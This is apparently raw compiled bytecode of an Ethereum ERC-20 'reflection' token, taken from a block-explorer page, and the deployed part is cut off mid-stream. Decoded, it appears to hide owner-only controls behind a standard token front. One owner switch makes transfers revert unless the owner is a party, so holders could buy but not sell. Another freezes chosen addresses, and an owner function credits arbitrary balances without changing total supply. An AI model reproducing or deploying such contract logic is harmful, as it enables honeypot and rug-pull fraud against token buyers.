055507fa5202f588e35f08e78e28aaaee3ba7c34c214b2baa91e1044de36f4e29d73e0b81600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610c499291906125cd565b60405180910390a15b50565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ca6611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a906125ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfa611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e906125ad565b60405180910390fd5b60001515601260009054906101000a900460ff1615151415610ec3576001601260006101000a81548160ff021916908315150217905550610edf565b6000601260006101000a81548160ff0219169083151502179055505b565b610ee9611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906125ad565b60405180910390fd5b610fc881600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d690919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461104890612431565b80601f016020809104026020016040519081016040528092919081815260200182805461107490612431565b80156110c15780601f10611096576101008083540402835291602001916110c1565b820191906000526020600020905b8154815290600101906020018083116110a457829003601f168201915b5050505050905090565b600580546110d890612431565b80601f016020809104026020016040519081016040528092919081815260200182805461110490612431565b80156111515780601f1061112657610100808354040283529160200191611151565b820191906000526020600020905b81548152906001019060200180831161113457829003601f168201915b505050505081565b600061121c611166611376565b8461121785604051806060016040528060258152602001612c4e6025913960066000611190611376565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aac9092919063ffffffff16565b611434565b6001905092915050565b600061123a611233611376565b84846115ff565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601260009054906101000a900460ff16905090565b600061132483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b3b565b905092915050565b600061136e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aac565b905092915050565b600033905090565b600080600080600080600061139288611b9e565b9150915060006113a0611b10565b905060008060006113b28c8686611bf1565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113e59190612625565b90508381101561142a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611421906126c7565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149b90612759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906127eb565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f291906121f5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116669061287d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d69061290f565b60405180910390fd5b60008111611722576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611719906129a1565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117c35750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561180c576000811461180b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611802906129e7565b60405180910390fd5b5b60001515601260009054906101000a900460ff16151514806118605750611831611c4f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061189d575061186e611c4f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a505761190e81604051806060016040528060268152602001612c0060269139600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aac9092919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a381600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d690919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a4391906121f5565b60405180910390a3611aa7565b60001515601260009054906101000a900460ff16151514611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d906129e7565b60405180910390fd5b5b505050565b6000838311158290611af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aeb9190612184565b60405180910390fd5b5060008385611b039190612a07565b9050809150509392505050565b6000806000611b1d611c78565b91509150611b3481836112e290919063ffffffff16565b9250505090565b60008083118290611b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b799190612184565b60405180910390fd5b5060008385611b919190612a6a565b9050809150509392505050565b6000806000611bcb6003611bbd6103e8876112e290919063ffffffff16565b611f4790919063ffffffff16565b90506000611be2828661132c90919063ffffffff16565b90508082935093505050915091565b600080600080611c0a8588611f4790919063ffffffff16565b90506000611c218688611f4790919063ffffffff16565b90506000611c38828461132c90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600f5490506000683635c9adc5dea00000905060005b601080549050811015611efc57826007600060108481548110611cb957611cb8612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611da75750816009600060108481548110611d3f57611d3e612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611dc557600f54683635c9adc5dea0000094509450505050611f43565b611e556007600060108481548110611de057611ddf612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461132c90919063ffffffff16565b9250611ee76009600060108481548110611e7257611e71612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361132c90919063ffffffff16565b91508080611ef490612aca565b915050611c93565b50611f1b683635c9adc5dea00000600f546112e290919063ffffffff16565b821015611f3a57600f54683635c9adc5dea00000935093505050611f43565b81819350935050505b9091565b600080831415611f5a5760009050611fbc565b60008284611f689190612b13565b9050828482611f779190612a6a565b14611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bdf565b60405180910390fd5b809150505b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ff282611fc7565b9050919050565b61200281611fe7565b811461200d57600080fd5b50565b60008135905061201f81611ff9565b92915050565b60006020828403121561203b5761203a611fc2565b5b600061204984828501612010565b91505092915050565b60008115159050919050565b61206781612052565b82525050565b6000602082019050612082600083018461205e565b92915050565b6000819050919050565b61209b81612088565b81146120a657600080fd5b50565b6000813590506120b881612092565b92915050565b6000602082840312156120d4576120d3611fc2565b5b60006120e2848285016120a9565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561212557808201518184015260208101905061210a565b83811115612134576000848401525b50505050565b6000601f19601f8301169050919050565b6000612156826120eb565b61216081856120f6565b9350612170818560208601612107565b6121798161213a565b840191505092915050565b6000602082019050818103600083015261219e818461214b565b905092915050565b600080604083850312156121bd576121bc611fc2565b5b60006121cb85828601612010565b92505060206121dc858286016120a9565b9150509250929050565b6121ef81612088565b82525050565b600060208201905061220a60008301846121e6565b92915050565b60008060006060848603121561222957612228611fc2565b5b600061223786828701612010565b935050602061224886828701612010565b9250506040612259868287016120a9565b9150509250925092565b61226c81611fe7565b82525050565b60006020820190506122876000830184612263565b92915050565b600060ff82169050919050565b6122a38161228d565b82525050565b60006020820190506122be600083018461229a565b92915050565b6122cd81612052565b81146122d857600080fd5b50565b6000813590506122ea816122c4565b92915050565b6000806040838503121561230757612306611fc2565b5b6000612315858286016120a9565b9250506020612326858286016122db565b9150509250929050565b6000806040838503121561234757612346611fc2565b5b600061235585828601612010565b925050602061236685828601612010565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b60006123cc602c836120f6565b91506123d782612370565b604082019050919050565b600060208201905081810360008301526123fb816123bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244957607f821691505b6020821081141561245d5761245c612402565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006124bf602a836120f6565b91506124ca82612463565b604082019050919050565b600060208201905081810360008301526124ee816124b2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061252b601f836120f6565b9150612536826124f5565b602082019050919050565b6000602082019050818103600083015261255a8161251e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125976020836120f6565b91506125a282612561565b602082019050919050565b600060208201905081810360008301526125c68161258a565b9050919050565b60006040820190506125e26000830185612263565b6125ef602083018461205e565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061263082612088565b915061263b83612088565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126705761266f6125f6565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006126b1601b836120f6565b91506126bc8261267b565b602082019050919050565b600060208201905081810360008301526126e0816126a4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006127436024836120f6565b915061274e826126e7565b604082019050919050565b6000602082019050818103600083015261277281612736565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127d56022836120f6565b91506127e082612779565b604082019050919050565b60006020820190508181036000830152612804816127c8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128676025836120f6565b91506128728261280b565b604082019050919050565b600060208201905081810360008301526128968161285a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128f96023836120f6565b91506129048261289d565b604082019050919050565b60006020820190508181036000830152612928816128ec565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061298b6029836120f6565b91506129968261292f565b604082019050919050565b600060208201905081810360008301526129ba8161297e565b9050919050565b50565b60006129d16000836120f6565b91506129dc826129c1565b600082019050919050565b60006020820190508181036000830152612a00816129c4565b9050919050565b6000612a1282612088565b9150612a1d83612088565b925082821015612a3057612a2f6125f6565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a7582612088565b9150612a8083612088565b925082612a9057612a8f612a3b565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ad582612088565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b0857612b076125f6565b5b600182019050919050565b6000612b1e82612088565b9150612b2983612088565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b6257612b616125f6565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc96021836120f6565b9150612bd482612b6d565b604082019050919050565b60006020820190508181036000830152612bf881612bbc565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122011301ef7e701abd7332a1e7ea0d25b55f20d92588085d43dfeeb40336fad885c64736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101575760003560e01c8063499d7f96116100c357806395d89b411161007c57806395d89b41146103c85780639d8d8406146103e6578063a457c2d714610404578063a9059cbb14610434578063dd62ed3e14610464578063ee882fb51461049457610157565b8063499d7f961461032e57806370a082311461034a578063715018a61461037a578063787a08a6146103845780637aadbea91461038e5780638f84aa09146103aa57610157565b806329bd54101161011557806329bd5410146102445780632d83811914610262578063313ce56714610292578063377ad127146102b057806339509351146102ce5780634549b039146102fe57610157565b80621d1a891461015c578063053ab1821461018c57806306fdde03146101a8578063095ea7b3146101c657806318160ddd146101f657806323b872dd14610214575b600080fd5b61017660048036038101906101719190612025565b6104b2565b604051610183919061206d565b60405180910390f35b6101a660048036038101906101a191906120be565b610508565b005b6101b0610682565b6040516101bd9190612184565b60405180910390f35b6101e060048036038101906101db91906121a6565b610714565b6040516101ed919061206d565b60405180910390f35b6101fe610732565b60405161020b91906121f5565b60405180910390f35b61022e60048036038101906102299190612210565b610743565b60405161023b919061206d565b60405180910390f35b61024c61081c565b6040516102599190612272565b60405180910390f35b61027c600480360381019061027791906120be565b610842565b60405161028991906121f5565b60405180910390f35b61029a6108b0565b6040516102a791906122a9565b60405180910390f35b6102b86108c7565b6040516102c59190612272565b60405180910390f35b6102e860048036038101906102e391906121a6565b6108ed565b6040516102f5919061206d565b60405180910390f35b610318600480360381019061031391906122f0565b6109a0565b60405161032591906121f5565b60405180910390f35b61034860048036038101906103439190612025565b610a29565b005b610364600480360381019061035f9190612025565b610c55565b60405161037191906121f5565b60405180910390f35b610382610c9e565b005b61038c610df2565b005b6103a860048036038101906103a391906121a6565b610ee1565b005b6103b261100f565b6040516103bf9190612272565b60405180910390f35b6103d0611039565b6040516103dd9190612184565b60405180910390f35b6103ee6110cb565b6040516103fb9190612184565b60405180910390f35b61041e600480360381019061041991906121a6565b611159565b60405161042b919061206d565b60405180910390f35b61044e600480360381019061044991906121a6565b611226565b60405161045b919061206d565b60405180910390f35b61047e60048036038101906104799190612330565b611244565b60405161048b91906121f5565b60405180910390f35b61049c6112cb565b6040516104a9919061206d565b60405180910390f35b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610512611376565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156105a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610598906123e2565b60405180910390fd5b60006105ac8361137e565b50505050905061060481600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132c90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061065c81600f5461132c90919063ffffffff16565b600f81905550610677836011546113d690919063ffffffff16565b601181905550505050565b60606002805461069190612431565b80601f01602080910402602001604051908101604052809291908181526020018280546106bd90612431565b801561070a5780601f106106df5761010080835404028352916020019161070a565b820191906000526020600020905b8154815290600101906020018083116106ed57829003601f168201915b5050505050905090565b6000610728610721611376565b8484611434565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107508484846115ff565b6108118461075c611376565b61080c85604051806060016040528060288152602001612c2660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107c2611376565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aac9092919063ffffffff16565b611434565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54821115610889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610880906124d5565b60405180910390fd5b6000610893611b10565b90506108a881846112e290919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109966108fa611376565b84610991856006600061090b611376565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d690919063ffffffff16565b611434565b6001905092915050565b6000683635c9adc5dea000008311156109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e590612541565b60405180910390fd5b81610a0d5760006109fe8461137e565b50505050905080915050610a23565b6000610a188461137e565b505050915050809150505b92915050565b610a31611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab5906125ad565b60405180910390fd5b60011515600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b74576000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610c52565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fa5202f588e35f08e78e28aaaee3ba7c34c214b2baa91e1044de36f4e29d73e0b81600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610c499291906125cd565b60405180910390a15b50565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ca6611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a906125ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfa611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e906125ad565b60405180910390fd5b60001515601260009054906101000a900460ff1615151415610ec3576001601260006101000a81548160ff021916908315150217905550610edf565b6000601260006101000a81548160ff0219169083151502179055505b565b610ee9611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906125ad565b60405180910390fd5b610fc881600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d690919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461104890612431565b80601f016020809104026020016040519081016040528092919081815260200182805461107490612431565b80156110c15780601f10611096576101008083540402835291602001916110c1565b820191906000526020600020905b8154815290600101906020018083116110a457829003601f168201915b5050505050905090565b600580546110d890612431565b80601f016020809104026020016040519081016040528092919081815260200182805461110490612431565b80156111515780601f1061112657610100808354040283529160200191611151565b820191906000526020600020905b81548152906001019060200180831161113457829003601f168201915b505050505081565b600061121c611166611376565b8461121785604051806060016040528060258152602001612c4e6025913960066000611190611376565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aac9092919063ffffffff16565b611434565b6001905092915050565b600061123a611233611376565b84846115ff565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601260009054906101000a900460ff16905090565b600061132483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b3b565b905092915050565b600061136e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aac565b905092915050565b600033905090565b600080600080600080600061139288611b9e565b9150915060006113a0611b10565b905060008060006113b28c8686611bf1565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113e59190612625565b90508381101561142a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611421906126c7565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149b90612759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906127eb565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f291906121f5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116669061287d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d69061290f565b60405180910390fd5b60008111611722576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611719906129a1565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117c35750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561180c576000811461180b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611802906129e7565b60405180910390fd5b5b60001515601260009054906101000a900460ff16151514806118605750611831611c4f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061189d575061186e611c4f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a505761190e81604051806060016040528060268152602001612c0060269139600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aac9092919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a381600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d690919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a4391906121f5565b60405180910390a3611aa7565b60001515601260009054906101000a900460ff16151514611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d906129e7565b60405180910390fd5b5b505050565b6000838311158290611af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aeb9190612184565b60405180910390fd5b5060008385611b039190612a07565b9050809150509392505050565b6000806000611b1d611c78565b91509150611b3481836112e290919063ffffffff16565b9250505090565b60008083118290611b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b799190612184565b60405180910390fd5b5060008385611b919190612a6a565b9050809150509392505050565b6000806000611bcb6003611bbd6103e8876112e290919063ffffffff16565b611f4790919063ffffffff16565b90506000611be2828661132c90919063ffffffff16565b90508082935093505050915091565b600080600080611c0a8588611f4790919063ffffffff16565b90506000611c218688611f4790919063ffffffff16565b90506000611c38828461132c90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600f5490506000683635c9adc5dea00000905060005b601080549050811015611efc57826007600060108481548110611cb957611cb8612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611da75750816009600060108481548110611d3f57611d3e612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611dc557600f54683635c9adc5dea0000094509450505050611f43565b611e556007600060108481548110611de057611ddf612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461132c90919063ffffffff16565b9250611ee76009600060108481548110611e7257611e71612a9b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361132c90919063ffffffff16565b91508080611ef490612aca565b915050611c93565b50611f1b683635c9adc5dea00000600f546112e290919063ffffffff16565b821015611f3a57600f54683635c9adc5dea00000935093505050611f43565b81819350935050505b9091565b600080831415611f5a5760009050611fbc565b60008284611f689190612b13565b9050828482611f779190612a6a565b14611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bdf565b60405180910390fd5b809150505b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ff282611fc7565b9050919050565b61200281611fe7565b811461200d57600080fd5b50565b60008135905061201f81611ff9565b92915050565b60006020828403121561203b5761203a611fc2565b5b600061204984828501612010565b91505092915050565b60008115159050919050565b61206781612052565b82525050565b6000602082019050612082600083018461205e565b92915050565b6000819050919050565b61209b81612088565b81146120a657600080fd5b50565b6000813590506120b881612092565b92915050565b6000602082840312156120d457